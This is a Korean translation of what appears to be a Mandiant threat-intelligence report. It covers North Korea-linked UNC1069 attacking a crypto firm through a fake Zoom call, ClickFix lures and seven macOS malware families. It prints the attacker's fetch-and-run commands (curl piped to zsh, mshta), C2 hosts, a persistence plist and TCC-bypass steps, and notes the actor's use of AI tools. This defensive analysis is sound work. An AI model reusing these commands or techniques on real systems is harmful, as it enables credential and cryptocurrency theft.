콘텐츠로 이동하기
위협 인텔리전스

UNC1069, 새로운 툴링과 AI 기반 소셜 엔지니어링으로 암호화폐 부문을 타겟으로 삼다.

2026년 2월 9일
Mandiant

Mandiant Services

Stop attacks, reduce risk, and advance your security.

Contact Mandiant

해당 블로그의 원문은 2026년 2월 10일 Google Cloud 블로그(영문)에 게재되었습니다. 


작성자: Ross Inman, Adrian Hernandez


소개

북한의 위협 행위자들은 암호화폐 및 탈중앙화 금융(DeFi) 분야를 표적으로 삼기 위해 지속적으로 공격 기법(tradecraft)을 발전시키고 있습니다. 맨디언트(Mandiant)는 최근 이 분야의 한 핀테크 기업을 대상으로 한 침입을 조사했으며, 이는 최소 2018년부터 활동해 온 금전적 동기의 위협 행위자인 UNC1069의 소행으로 밝혀졌습니다. 이번 조사를 통해 호스트 및 피해자 데이터를 탈취하기 위해 설계된 새로운 툴링 세트인 SILENCELIFT, DEEPBREATH, CHROMEPUSH를 포함하여 7개의 고유한 악성코드군이 배포된 맞춤형 공격이 드러났습니다. 이 침입은 탈취된 텔레그램 계정, 가짜 줌(Zoom) 미팅, ClickFix 감염 벡터, 그리고 피해자를 속이기 위한 AI 생성 영상 사용이 보고된 소셜 엔지니어링 기법에 의존했습니다.

이러한 전술은 2025년 11월에 발간된 GTIG AI 위협 추적기: 위협 행위자의 AI 도구 사용 발전에서 처음 기록된 변화를 기반으로 합니다. 해당 보고서에서 구글 위협 인텔리전스 그룹(GTIG)은 UNC1069가 단순한 생산성 향상을 위해 AI를 사용하는 것에서 실제 공격 작전에 새로운 AI 기반 미끼를 배포하는 것으로 전환했음을 확인했습니다. 단일 호스트에 배포된 툴링의 양은 금융 자산 탈취를 용이하게 하기 위해 자격 증명, 브라우저 데이터, 세션 토큰을 수집하려는 매우 확고한 노력을 보여줍니다. UNC1069는 일반적으로 암호화폐 스타트업, 소프트웨어 개발자, 벤처 캐피털 회사를 표적으로 삼지만, 알려진 다운로더인 SUGARLOADER와 함께 여러 새로운 악성코드군을 배포한 것은 이들의 역량이 크게 확장되었음을 의미합니다.

초기 벡터 및 소셜 엔지니어링

피해자는 UNC1069에 의해 탈취된 한 암호화폐 회사 임원의 텔레그램 계정을 통해 연락을 받았습니다. 맨디언트는 계정의 실제 소유자가 다른 소셜 미디어 프로필에 게시한 주장을 확인했으며, 그는 자신의 텔레그램 계정이 탈취당했다고 지인들에게 경고하는 글을 올렸습니다. 하지만 맨디언트는 이 임원과 직접 연락하거나 사실을 확인할 수는 없었습니다. UNC1069는 피해자와 신뢰 관계(rapport)를 형성한 후, 30분짜리 회의를 잡기 위한 Calendly 링크를 보냈습니다. 회의 링크 자체는 위협 행위자의 인프라인 zoom[.]uswe05[.]us에서 호스팅되는 위장된 줌(Zoom) 미팅으로 연결되었습니다.

피해자는 통화 중에 다른 암호화폐 회사의 CEO 영상이 제시되었는데, 이것이 딥페이크로 보였다고 보고했습니다. 맨디언트가 이 특정 사례에서 AI 모델 사용을 독립적으로 검증할 포렌식 증거를 복구할 수는 없었지만, 보고된 속임수는 딥페이크가 사용된 것으로 알려진 유사한 특징의 이전에 공개적으로 보고된 사건과 유사합니다.

일단 '회의'에 참여하면, 가짜 화상 통화는 최종 사용자가 오디오 문제를 겪고 있다는 인상을 주는 속임수를 사용했습니다. 이는 위협 행위자가 ClickFix 공격을 수행하기 위해 사용되었습니다. ClickFix 공격이란 위협 행위자가 사용자에게 기술적인 문제가 있는 것처럼 속여 시스템에서 문제 해결 명령을 실행하도록 유도하는 공격 기법입니다. 복구된 웹페이지는 '문제 해결'을 위해 실행할 두 가지 명령어 세트(macOS용, Windows용)를 제공했습니다. 이 명령어 문자열 안에는 감염 체인을 시작하는 단일 명령어가 포함되어 있었습니다.

맨디언트는 UNC1069가 소프트웨어 회사와 그 개발자, 벤처 캐피털 회사와 그 직원 또는 임원을 포함하여 암호화폐 산업 내의 기업과 개인 모두를 대상으로 이러한 기술을 사용하는 것을 관찰했습니다. 여기에는 가짜 줌 미팅 사용과 소셜 엔지니어링 단계에서 이미지를 편집하거나 비디오를 수정하기 위해 위협 행위자가 AI 도구를 사용하는 것으로 알려진 사례가 포함됩니다.

GTIG의 보고에 따르면, UNC1069는 툴링 개발, 작전 연구 수행, 정찰 단계 지원을 위해 Gemini와 같은 도구를 사용하는 것으로 알려져 있습니다. 또한, 최근 카스퍼스키(Kaspersky)는 UNC1069와 활동이 겹치는 위협 행위자인 Bluenoroff가 이미지를 수정하기 위해 GTP-4o 모델을 사용하고 있다고 주장했으며, 이는 생성형 AI(GenAI) 도구의 채택과 공격자 라이프사이클에 AI가 통합되었음을 나타냅니다.

감염 체인

맨디언트가 수행한 사고 대응 과정에서, 피해자는 그림 1에 제공된 '문제 해결' 명령을 실행했고, 이로 인해 macOS 장치의 초기 감염이 발생했습니다.

system_profiler SPAudioData
softwareupdate --evaluate-products --products audio --agree-to-license
curl -A audio -s hxxp://mylingocoin[.]com/audio/fix/6454694440 | zsh
system_profiler SPSoundCardData
softwareupdate --evaluate-products --products soundcard
system_profiler SPSpeechData
softwareupdate --evaluate-products --products speech --agree-to-license

그림 1: 소셜 엔지니어링 단계에서 공유된 공격자 명령어

가짜 줌(Zoom) 통화 웹페이지에서 Windows 운영 체제를 대상으로 하는 '문제 해결' 명령어 세트도 복구되었습니다.

setx audio_volume 100
pnputil /enum-devices /connected /class "Audio"
mshta hxxp://mylingocoin[.]com/audio/fix/6454694440
wmic sounddev get Caption, ProductName, DeviceID, Status
msdt -id AudioPlaybackDiagnostic
exit

그림 2: Windows가 감지되었을 때 공유된 공격자 명령어

감염 체인이 시작된 직후 AppleScript 실행 증거가 기록되었지만, 시스템에 남아있는 포렌식 증거(artifact)에서는 AppleScript 페이로드의 내용을 복구할 수 없었습니다. AppleScript가 실행된 후, 악성 Mach-O 바이너리가 시스템에 배포되었습니다.

시스템에 배포된 첫 번째 악성 실행 파일은 맨디언트(Mandiant)가 WAVESHAPER로 추적하는 패킹된(packed) 백도어였습니다. WAVESHAPER는 맨디언트가 HYPERCALL로 추적하는 다운로더를 배포하고, 이후 추가적인 툴링을 배포하여 시스템에 대한 공격자의 발판을 상당히 확장하는 통로 역할을 했습니다.

맨디언트는 침입 과정에서 HYPERCALL 다운로더가 세 가지 용도로 사용된 것을 관찰했습니다:

  1. 맨디언트가 HIDDENCALL로 추적하는 후속 백도어 구성 요소를 실행하여, 침해된 시스템에 대한 직접적인 키보드 접근(hands-on keyboard access)을 제공

  2. 맨디언트가 SUGARLOADER로 추적하는 또 다른 다운로더를 배포

  3. 맨디언트가 SILENCELIFT로 추적하는 초기 거점(toehold) 백도어의 실행을 용이하게 하며, 이 백도어는 시스템 정보를 명령 제어(C2 또는 C&C) 서버로 전송

https://storage.googleapis.com/gweb-cloudblog-publish/images/unc1069-crypto-ai-fig3a.max-1700x1700.png

Figure 3: 공격 체인

XProtect 

XProtect는 macOS에 내장된 안티바이러스 기술입니다. 처음에는 시그니처 기반 탐지에만 의존했지만, 행위 기반 탐지를 구현하기 위해 XProtect 행위 서비스(XBS, XProtect Behavioral Service)가 도입되었습니다. 만약 프로그램이 Apple에서 정의한 행위 기반 규칙 중 하나를 위반하면, 위반 프로그램에 대한 정보는 /var/protected/xprotect/XPdb에 위치한 SQLite 3 데이터베이스인 XProtect 데이터베이스(XPdb)에 기록됩니다.

시그니처 기반 탐지와 달리, 행위 기반 탐지는 XProtect가 위반 프로그램의 실행을 차단하거나 격리하는 결과를 낳지 않습니다.

맨디언트(Mandiant)는 XPdb에서 XBS 규칙을 하나 이상 위반한 프로그램의 파일 경로와 SHA256 해시를 복구했습니다. 여기에는 삭제되어 복구할 수 없었던 악성 프로그램에 대한 정보도 포함되었습니다. XPdb에는 탐지 타임스탬프도 포함되어 있으므로, 맨디언트는 침해된 시스템에 엔드포인트 탐지 및 대응(EDR) 제품이 없음에도 불구하고 초기 감염 체인부터 다음 단계의 악성코드 배포까지 악성코드 실행과 관련된 일련의 이벤트를 파악할 수 있었습니다.

데이터 수집 및 지속성

맨디언트는 위협 행위자가 접근 기간 동안 배포한 두 개의 서로 다른 데이터 마이너(data miner)인 DEEPBREATH와 CHROMEPUSH를 확인했습니다.

Swift로 작성된 데이터 마이너인 DEEPBREATH는 HYPERCALL의 후속 백도어 구성 요소인 HIDDENCALL을 통해 배포되었습니다. DEEPBREATH는 투명성, 동의 및 제어(TCC, Transparency, Consent, and Control) 데이터베이스를 조작하여 광범위한 파일 시스템 접근 권한을 획득하고 다음을 훔칠 수 있습니다:

  1. 사용자의 키체인(Keychain)에서 자격 증명

  2. Chrome, Brave, Edge 브라우저 데이터

  3. 두 가지 다른 버전의 텔레그램(Telegram) 사용자 데이터

  4. Apple Notes 사용자 데이터

DEEPBREATH는 대상 데이터를 임시 폴더 위치에 준비(stage)하고 데이터를 ZIP 아카이브로 압축한 후, curl 명령줄 유틸리티를 통해 원격 서버로 유출했습니다.

맨디언트는 또한 HYPERCALL이 SUGARLOADER 코드 제품군의 일부로 추적되는 추가 악성코드 로더를 배포한 것을 확인했습니다. macOS 시작 프로세스 중에 악성코드를 실행하도록 시스템을 구성하는 SUGARLOADER용 런치 데몬(launch daemon) 형태로 지속성(persistence) 메커니즘이 설치되었습니다. 런치 데몬은 속성 목록(Plist) 파일인 /Library/LaunchDaemons/com.apple.system.updater.plist를 통해 구성되었습니다. 런치 데몬 Plist 파일의 내용은 그림 4에 제공됩니다.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>Label</key>
	<string>com.apple.system.updater</string>
	<key>ProgramArguments</key>
	<array>
	<string>/Library/OSRecovery/SystemUpdater</string>
	</array>
	<key>RunAtLoad</key>
 	<true/>
	<key>KeepAlive</key>
	<false/>
	<key>ExitTimeOut</key>
	<integer>10</integer>
</dict>
</plist>

그림 4: SUGARLOADER를 실행하도록 구성된 런치 데몬 Plist

조사 과정에서 복구된 SUGARLOADER 샘플에는 지속성을 확보하기 위한 내부 기능이 없었습니다. 따라서 맨디언트(Mandiant)는 다른 악성 프로그램 중 하나에 의해 부여된 접근 권한을 통해 런치 데몬(launch daemon)이 수동으로 생성된 것으로 평가합니다.

맨디언트는 SUGARLOADER가 C++로 작성된 데이터 마이너인 CHROMEPUSH를 배포하는 데만 사용된 것을 관찰했습니다. CHROMEPUSH는 Google Chrome 및 Brave 브라우저에 Google Docs를 오프라인에서 편집하기 위한 확장 프로그램으로 위장한 브라우저 확장 프로그램을 배포했습니다. CHROMEPUSH는 추가적으로 키 입력을 기록하고, 사용자 이름 및 비밀번호 입력을 관찰하며, 브라우저 쿠키를 추출하는 기능을 보유하여 호스트에서의 데이터 수집을 완료했습니다.

집중 조명: UNC1069

UNC1069는 북한과 연계되어 있을 것으로 높은 신뢰도로 의심되는 금전적 동기의 위협 행위자이며, 2018년부터 맨디언트에 의해 추적되어 왔습니다. 맨디언트는 이 위협 행위자가 전술, 기술, 절차(TTPs), 툴링 및 표적을 진화시키는 것을 관찰해 왔습니다. 최소 2023년부터 이 그룹은 스피어 피싱 기술과 전통 금융(TradFi) 표적에서 벗어나, 중앙화 거래소(CEX), 금융 기관의 소프트웨어 개발자, 첨단 기술 회사, 벤처 캐피털 펀드의 개인 등 Web3 산업으로 전환했습니다. 특히, UNC1069는 2025년에 UNC4899와 같은 다른 그룹에 비해 암호화폐 탈취에 미치는 영향은 적었지만, 금전적 이득을 위해 중앙화 거래소와 기업 및 개인을 표적으로 하는 활발한 위협으로 남아있습니다.

https://storage.googleapis.com/gweb-cloudblog-publish/images/unc1069-crypto-ai-fig5.max-2100x2100.png

그림 5: UNC1069 피해 분석 지도

맨디언트는 2025년에 이 그룹이 결제, 중개, 스테이킹, 지갑 인프라 분야의 금융 서비스 및 암호화폐 산업을 대상으로 활발히 활동하는 것을 관찰했습니다.

UNC1069 운영자들은 이러한 분야의 Web3 개인 사용자와 기업 네트워크 모두를 표적으로 삼아왔지만, UNC1069 및 기타 조선민주주의인민공화국(DPRK) 연계 의심 그룹들은 과거에 다양한 기술을 사용하여 개인 기기에서 기업 기기로 이동하는 능력을 보여주었습니다. 하지만, 이번 특정 사건에서 맨디언트는 단일 개인을 대상으로 하는 단일 호스트에 비정상적으로 많은 양의 툴링이 설치된 것을 확인했습니다. 이 증거는 이번 사건이 암호화폐 탈취를 가능하게 하고 피해자의 신원과 데이터를 활용하여 향후 소셜 엔지니어링 캠페인을 촉진하는 이중 목적을 위해 가능한 한 많은 데이터를 수집하려는 표적 공격이었음을 확인시켜 줍니다.

이후, 맨디언트는 침해된 시스템의 포렌식 분석 과정에서 7개의 고유한 악성코드군을 식별했으며, 조사 이전에 맨디언트가 이미 추적하고 있던 악성코드군은 SUGARLOADER가 유일했습니다.

기술 부록

WAVESHAPER

WAVESHAPER는 macOS를 대상으로 하는 C++로 작성된 백도어이며, 알려지지 않은 패커(packer)에 의해 패킹되었습니다. 이 백도어는 명령줄 매개변수(command-line parameter)를 통해 제공되는 명령 제어(C2 또는 C&C) 서버에서 가져온 임의의 페이로드를 다운로드하고 실행하는 것을 지원합니다. 공격자 인프라와 통신하기 위해 WAVESHAPER는 제공된 명령줄 인수에 따라 HTTP 또는 HTTPS용 curl 라이브러리를 활용합니다.

WAVESHAPER는 또한 부모 세션에서 분리되어 백그라운드에서 실행되는 자식 프로세스로 자신을 포크(fork)하여 데몬으로 실행되며, 다음 시스템 정보를 수집하여 C&C 서버로 HTTP POST 요청을 통해 전송합니다:

  • 무작위 피해자 UID (16자리 영숫자)

  • 피해자 사용자 이름

  • 피해자 컴퓨터 이름

  • 시스템 시간대

  • sysctlbyname("kern.boottime")을 사용한 시스템 부팅 시간

  • 최근 설치된 소프트웨어

  • 하드웨어 모델

  • CPU 정보

  • OS 버전

  • 실행 중인 프로세스 목록

C&C 서버에서 다운로드한 페이로드는 /tmp/\.[A-Za-z0-9]{6} 정규식 패턴과 일치하는 파일 시스템 위치에 저장됩니다.

HYPERCALL

HYPERCALL은 지정된 C&C 서버에서 악성 동적 라이브러리를 가져오는 macOS용 Go 기반 다운로더입니다. C&C 주소는 바이너리와 함께 디스크에 있어야 하는 RC4 암호화 구성 파일에서 추출됩니다. 다운로드되면 라이브러리는 메모리 내 실행을 위해 리플렉티브 로딩(reflectively loaded)됩니다.

맨디언트는 새로운 다운로더가 다른 언어(C++ 대신 Golang)로 작성되고 개발 프로세스가 다름에도 불구하고 HYPERCALL에서 SUGARLOADER의 식별 가능한 영향을 관찰했습니다. 이러한 유사점에는 C&C 인프라를 위한 외부 구성 파일 사용, 구성 파일 복호화를 위한 RC4 알고리즘 사용, 리플렉티브 라이브러리 주입 기능이 포함됩니다.

특히 HYPERCALL의 일부 요소는 불완전해 보입니다. 예를 들어, 쓸모없는 구성 매개변수의 존재는 다른 북한 연계 위협 행위자들과 비교할 때 UNC1069의 일부 악성코드 개발자들의 기술적 숙련도가 부족함을 드러냅니다.

HYPERCALL은 연결할 C&C 호스트를 기대하는 단일 명령줄 인수를 받습니다. 이 명령은 /Library/SystemSettings/.CacheLogs.db에 위치한 구성 파일에 저장됩니다. HYPERCALL은 또한 구성 파일 내에 저장된 데이터를 복호화하기 위해 하드코딩된 16바이트 RC4 키를 활용하는데, 이는 다른 UNC1069 악성코드군 내에서 관찰된 패턴입니다.

HYPERCALL 구성은 다운로더가 TCP 포트 443에서 다음 C&C 서버와 통신하도록 지시했습니다:

  • wss://supportzm[.]com
  • wss://zmsupport[.]com

연결되면 HYPERCALL은 다음 메시지를 사용하여 C&C에 등록하고 1의 응답 메시지를 기대합니다:

{
    "type": "loader",
    "client_id": <client_id>
}

그림 6: C&C 서버로 전송된 등록 메시지

HYPERCALL이 C&C 서버에 등록되면 동적 라이브러리 다운로드 요청을 보냅니다.

{
    "type": "get_binary",
    "system": "darwin"
}

그림 7: C&C 서버로 전송된 동적 라이브러리 다운로드 요청 메시지

C&C 서버는 다운로드할 동적 라이브러리에 대한 정보로 요청에 응답하며, 그 뒤를 이어 동적 라이브러리 콘텐츠를 전송합니다.

{
    "type": <unknown>,
    "total_size": <total_size>
}

그림 8: C&C 서버에서 수신한 동적 라이브러리 다운로드 응답 메시지

C&C 서버는 다음 메시지를 통해 HYPERCALL 클라이언트에 모든 동적 라이브러리 콘텐츠가 전송되었음을 알립니다.

{
    "type": "end_chunks"
}

그림 9: 동적 라이브러리 콘텐츠의 끝을 표시하기 위해 C&C 서버에서 보낸 메시지

동적 라이브러리를 수신한 후, HYPERCALL은 최종 확인 메시지를 보냅니다.

{
    "type": "down_ok"
}

그림 10: HYPERCALL이 C&C 서버로 보낸 최종 확인 메시지

그런 다음 HYPERCALL은 3초 동안 기다린 후 리플렉티브 로딩(reflective loading)을 사용하여 다운로드한 동적 라이브러리를 메모리에서 실행합니다.

HIDDENCALL

저희는 UNC1069가 HYPERCALL 다운로더와 HIDDENCALL 백도어를 단일하고 동기화된 공격 라이프사이클의 구성 요소로 활용한다고 높은 신뢰도로 평가합니다.

이 평가는 HYPERCALL이 HIDDENCALL을 다운로드하여 시스템 메모리에 리플렉티브 인젝션(reflectively injecting)하는 포렌식 관찰 결과에 의해 뒷받침됩니다. 또한, 기술적 조사 결과 HYPERCALL Golang 바이너리와 HIDDENCALL의 AOT(Ahead-of-Time) 번역 파일 간에 상당한 코드 중복이 발견되었습니다. 두 패밀리 모두 동일한 라이브러리를 활용하고 함수에 대해 독특한 "t_" 명명 규칙(예: t_loader 및 t_)을 따르는데, 이는 통일된 개발 환경과 공유된 기술(tradecraft)을 강력하게 시사합니다. 이 맞춤형 통합 툴링 스위트의 사용은 보안 조치를 우회하고 대상 네트워크에서 장기적인 지속성을 확보하기 위한 전문적인 기능을 개발하는 데 있어 UNC1069의 기술적 숙련도를 강조합니다.

Rosetta 캐시 분석

맨디언트(Mandiant)는 이전에 Rosetta 캐시의 파일이 프로그램 실행을 증명하는 데 어떻게 사용될 수 있는지, 그리고 AOT 번역 파일에 있는 심볼 분석을 통해 어떻게 악성코드 식별이 가능한지를 문서화한 바 있습니다.

HYPERCALL은 NSCreateObjectFileImageFromMemory API 호출을 활용하여 후속 백도어 구성 요소를 메모리에서 리플렉티브 로딩했습니다. NSCreateObjectFileImageFromMemory가 호출되면, 메모리에서 로드될 실행 파일은 /tmp/ 폴더 아래에 임시로 기록되며, 파일 이름은 NSCreateObjectFileImageFromMemory-[A-Za-z0-9]{8} 정규식 패턴과 일치합니다.

이러한 내재적 동작은 HIDDENCALL 페이로드가 x86_64 아키텍처용으로 컴파일된 것과 결합되어, 리플렉티브 로딩된 Mach-O 실행 파일에 대한 Rosetta 캐시 AOT 파일을 생성하게 되었습니다. Rosetta 캐시 파일 분석을 통해, 맨디언트는 리플렉티브 로딩된 Mach-O 실행 파일이 후속 백도어 구성 요소이며, 이 또한 Golang으로 작성되었고 맨디언트가 HIDDENCALL로 추적하는 것이라고 높은 신뢰도로 평가할 수 있었습니다.

그림 11부터 그림 14까지는 HIDDENCALL 실행과 관련된 AOT 파일 및 맨디언트가 분석한 HYPERCALL 샘플에서 식별된 심볼과 프로젝트 파일 경로이며, 이는 HIDDENCALL의 기능을 평가하는 데 사용되었습니다.

_t/common.rc4_encode
_t/common.resolve_server
_t/common.load_config
_t/common.save_config
_t/common.generate_uid
_t/common.send_data
_t/common.send_error_message
_t/common.get_local_ip
_t/common.get_info
_t/common.rsp_get_info
_t/common.override_env
_t/common.exec_command_with_timeout
_t/common.exec_command_with_timeout.func1
_t/common.rsp_exec_cmd
_t/common.send_file
_t/common.send_file.deferwrap1
_t/common.add_file_to_zip
_t/common.add_file_to_zip.deferwrap1
_t/common.zip_file
_t/common.zip_file.func1
_t/common.zip_file.deferwrap2
_t/common.zip_file.deferwrap1
_t/common.rsp_zdn
_t/common.rsp_dn
_t/common.receive_file
_t/common.receive_file.deferwrap1
_t/common.unzipFile
_t/common.unzipFile.deferwrap1
_t/common.rsp_up
_t/common.rsp_inject_explorer
_t/common.rsp_inject
_t/common.wipe_file
_t/common.rsp_wipe_file
_t/common.send_cmd_result
_t/common.rsp_new_shell
_t/common.rsp_exit_shell
_t/common.rsp_enter_shell
_t/common.rsp_leave_shell
_t/common.rsp_run
_t/common.rsp_runx
_t/common.rsp_test_conn
_t/common.rsp_check_event
_t/common.rsp_sleep
_t/common.rsp_pv
_t/common.rsp_pcmd
_t/common.rsp_pkill
_t/common.rsp_dir
_t/common.rsp_state
_t/common.rsp_get_cfg
_t/common.rsp_set_cfg
_t/common.rsp_chdir
_t/common.get_file_property
_t/common.get_file_property.func1
_t/common.rsp_file_property
_t/common.do_work
_t/common.do_work.deferwrap1
_t/common.Start
_t/common.init_env
_t/common.get_config_path
_t/common.get_startup_path
_t/common.get_launch_plist_path
_t/common.get_os_info
_t/common.get_process_uid
_t/common.get_file_info
_t/common.get_dir_entries
_t/common.is_locked
_t/common.check_event
_t/common.change_dir
_t/common.run_command_line
_t/common.run_command_line.func1
_t/common.copy_file
_t/common.copy_file.deferwrap2
_t/common.copy_file.deferwrap1
_t/common.setup_startup
_t/common.file_exist
_t/common.session_work
_t/common.exit_shell
_t/common.restart_shell
_t/common.start_shell_reader
_t/common.watch_shell_output_loop
_t/common.watch_shell_output_loop.func1
_t/common.watch_shell_output_loop.func1.deferwrap1
_t/common.exec_with_shell
_t/common.start_shell_reader.func1
_t/common.do_work.jump513
_t/common.g_shoud_fork
_t/common.CONFIG_CRYPT_KEY
_t/common.g_conn
_t/common.g_shell_cmd
_t/common.g_shell_pty
_t/common.stop_reader_chan
_t/common.stop_watcher_chan
_t/common.g_config_file_path
_t/common.g_output_buffer
_t/common.g_cfg
_t/common.g_use_shell
_t/common.g_working
_t/common.g_out_changed
_t/common.g_reason
_t/common.g_outputMutex

그림 11: 맨디언트가 분석한 HIDDENCALL AOT 파일의 주요 Golang 심볼

t_loader/common
t_loader/inject_mac
t_loader/inject_mac._Cfunc_InjectDylibFromMemory
t_loader/inject_mac.Inject
t_loader/inject_mac.Inject.func1
t_loader/common.rc4_encode
t_loader/common.generate_uid
t_loader/common.load_config
t_loader/common.rc4_decode
t_loader/common.save_config
t_loader/common.resolve_server
t_loader/common.receive_file
t_loader/common.Start
t_loader/common.check_server_urls
t_loader/common.inject_pe
t_loader/common.init_env
t_loader/common.get_config_path

그림 12: 맨디언트가 분석한 HYPERCALL AOT 파일의 주요 Golang 심볼

/Users/mac/Documents/go_t/t/../build/mac/t.a(000000.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000004.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000005.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000006.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000007.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000008.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000009.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000010.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000011.o)

그림 13: 맨디언트가 분석한 HIDDENCALL AOT 파일의 프로젝트 파일 경로

/Users/mac/Documents/go_t/t_loader/inject_mac/inject.go
/Users/mac/Documents/go_t/t_loader/common/common.go
/Users/mac/Documents/go_t/t_loader/common/common_unix.go
/Users/mac/Documents/go_t/t_loader/exe.go

그림 14: 맨디언트가 분석한 HYPERCALL AOT 파일의 프로젝트 파일 경로

DEEPBREATH

침입 중에 식별된 새로운 macOS 악성코드인 DEEPBREATH는 macOS 개인 정보 보호의 핵심 구성 요소인 TCC(투명성, 동의 및 제어) 데이터베이스를 우회하도록 설계된 정교한 데이터 마이너입니다.

Swift로 작성된 DEEPBREATH의 주요 목적은 파일 및 민감한 개인 정보에 대한 접근 권한을 얻는 것입니다.

TCC 우회

사용자에게 상승된 권한을 요청하는 대신, DEEPBREATH는 사용자의 TCC 데이터베이스(TCC.db)를 직접 조작합니다. 활성 데이터베이스의 직접적인 수정을 방지하는 보호 조치를 우회하기 위해 일련의 단계를 실행합니다.

  1. 준비(Staging): Finder 애플리케이션을 활용하여 사용자의 TCC 폴더 이름을 바꾸고 TCC.db 파일을 임시 준비 위치로 복사하여, 방해 없이 데이터베이스를 수정할 수 있도록 합니다.

  2. 권한 주입(Permission Injection): 준비가 완료되면, 악성코드는 프로그래밍 방식으로 권한을 삽입하여 바탕화면, 문서, 다운로드와 같은 중요한 사용자 폴더에 대한 광범위한 접근 권한을 효과적으로 부여합니다.

  3. 복원(Restoration): 마지막으로, 수정된 데이터베이스를 원래 위치로 복원하여 DEEPBREATH가 작동하는 데 필요한 광범위한 파일 시스템 접근 권한을 부여합니다.

이 기술은 Finder 애플리케이션이 macOS에서 사용자별 TCC 데이터베이스를 수정하는 데 필요한 권한인 전체 디스크 접근(FDA, Full Disk Access) 권한을 가지고 있기 때문에 가능하다는 점에 유의해야 합니다.

작업이 중단되지 않도록 하기 위해, 이 악성코드는 AppleScript를 사용하여 -autodata 인수로 백그라운드에서 자신을 다시 실행하고, 초기 프로세스에서 분리되어 사용자 세션 내내 조용히 데이터 수집을 계속합니다.

상승된 접근 권한으로, DEEPBREATH는 다음과 같은 고부가가치 데이터를 체계적으로 표적으로 삼습니다.

  • 자격 증명: 사용자 키체인(login.keychain-db)에서 로그인 자격 증명을 훔칩니다.

  • 브라우저 데이터: 모든 사용자 프로필에 걸쳐 Google Chrome, Brave, Microsoft Edge 등 주요 브라우저에서 쿠키, 로그인 데이터, 로컬 확장 프로그램 설정을 복사합니다.

  • 메시징 및 메모: 두 가지 다른 버전의 텔레그램에서 사용자 데이터를 유출하고 Apple Notes의 데이터베이스 파일을 표적으로 삼아 복사합니다.

DEEPBREATH는 광범위한 데이터 도용을 수행하기 위해 핵심 운영 체제 보안 기능을 우회하는 데 초점을 맞춘 공격 벡터의 대표적인 예입니다.

SUGARLOADER

SUGARLOADER는 역사적으로 UNC1069 침입과 관련된 C++로 작성된 다운로더입니다.

이번 침입의 관찰 결과에 따르면, SUGARLOADER는 CHROMEPUSH를 배포하는 데만 사용되었습니다. SUGARLOADER가 명령 인수 없이 실행되면, 바이너리는 피해자 컴퓨터의 /Library/OSRecovery/com.apple.os.config에 위치한 기존 구성 파일이 있는지 확인합니다.

구성은 바이너리에서 발견된 하드코딩된 32바이트 키를 사용하여 RC4로 암호화됩니다.

복호화되면, 구성 데이터에는 다음 단계를 가리키는 최대 두 개의 URL이 포함됩니다. 이 URL은 감염의 다음 단계를 다운로드하기 위해 쿼리됩니다. 만약 첫 번째 URL이 적절한 실행 가능한 페이로드로 응답하면, 두 번째 URL은 쿼리되지 않습니다.

맨디언트가 분석한 샘플의 복호화된 SUGARLOADER 구성에는 다음 C&C 서버가 포함되었습니다.

  • breakdream[.]com:443
  • dreamdie[.]com:443

CHROMEPUSH

이번 침입 중에 두 번째 데이터 마이너가 복구되어 CHROMEPUSH로 명명되었습니다. 이 데이터 마이너는 C++로 작성되었으며, Google Chrome 및 Brave와 같은 Chromium 기반 브라우저를 대상으로 하는 브라우저 확장 프로그램으로 자신을 설치하여 키 입력, 사용자 이름 및 암호 입력, 브라우저 쿠키를 수집하고 이를 웹 서버에 업로드합니다.

CHROMEPUSH는 Chromium 기반 브라우저의 네이티브 메시징 호스트(native messaging host)로 자신을 설치하여 지속성을 확보합니다. Google Chrome의 경우, CHROMEPUSH는 자신을 %HOME%/Library/Application Support/Google/Chrome/NativeMessagingHosts/Google Chrome Docs에 복사하고, 동일한 디렉토리에 해당 매니페스트 파일인 com.google.docs.offline.json을 생성합니다.

{
  "name": "com.google.docs.offline",
  "description": "Native messaging for Google Docs Offline extension",
  "path": "%HOME%/Library/Application Support/Google/Chrome/NativeMessagingHosts/Google Chrome Docs",
  "type": "stdio",
  "allowed_origins": [ "chrome-extension://hennhnddfkgohngcngmflkmejacokfik/" ]
}

그림 15: 데이터 마이너가 생성한 Google Chrome 네이티브 메시징 호스트 매니페스트 파일

네이티브 메시징 호스트로 자신을 설치함으로써, CHROMEPUSH는 해당 브라우저가 실행될 때 자동으로 실행됩니다.

네이티브 메시징 호스트 메커니즘을 통해 실행되면, 데이터 마이너는 %HOME%/Library/Application Support/com.apple.os.receipts에 기본 데이터 디렉토리를 생성하고 브라우저 식별을 수행합니다. 기본 데이터 디렉토리 내에 탐지된 브라우저에 따라 해당 식별자로 하위 디렉토리가 생성됩니다.

  • Google Chrome은 하위 디렉토리 이름이 c가 됩니다.

  • Brave 브라우저는 하위 디렉토리 이름이 b가 됩니다.

  • Arc는 하위 디렉토리 이름이 a가 됩니다.

  • Microsoft Edge는 하위 디렉토리 이름이 e가 됩니다.

  • 이 중 어느 것과도 일치하지 않으면 하위 디렉토리 이름은 u로 설정됩니다.

CHROMEPUSH는 %HOME%/Library/Application Support/com.apple.os.receipts/setting.db 파일 위치에서 구성 데이터를 읽습니다. 구성 설정은 JSON(JavaScript Objection Notation) 형식으로 구문 분석됩니다. 사용된 JSON 변수의 이름은 잠재적인 용도를 나타냅니다.

  • cap_on: 화면 캡처 여부를 제어하는 것으로 추정됨

  • cap_time: 화면 캡처 간격을 제어하는 것으로 추정됨

  • coo_on: 쿠키 접근 여부를 제어하는 것으로 추정됨

  • coo_time: 쿠키 데이터 접근 간격을 제어하는 것으로 추정됨

  • key_on: 키 입력 로깅 여부를 제어하는 것으로 추정됨

  • C&C URL

CHROMEPUSH는 수집된 데이터를 %HOME%/Library/Application Support/com.apple.os.receipts/<browser_id>/ 디렉토리 내의 임시 파일에 준비(stage)합니다.

이 파일들은 다음 형식을 사용하여 이름이 변경됩니다.

  • 스크린샷: CAYYMMDDhhmmss.dat

  • 키로깅: KLYYMMDDhhmmss.dat

  • 쿠키: CK_<browser_identifier><unknown_id>.dat

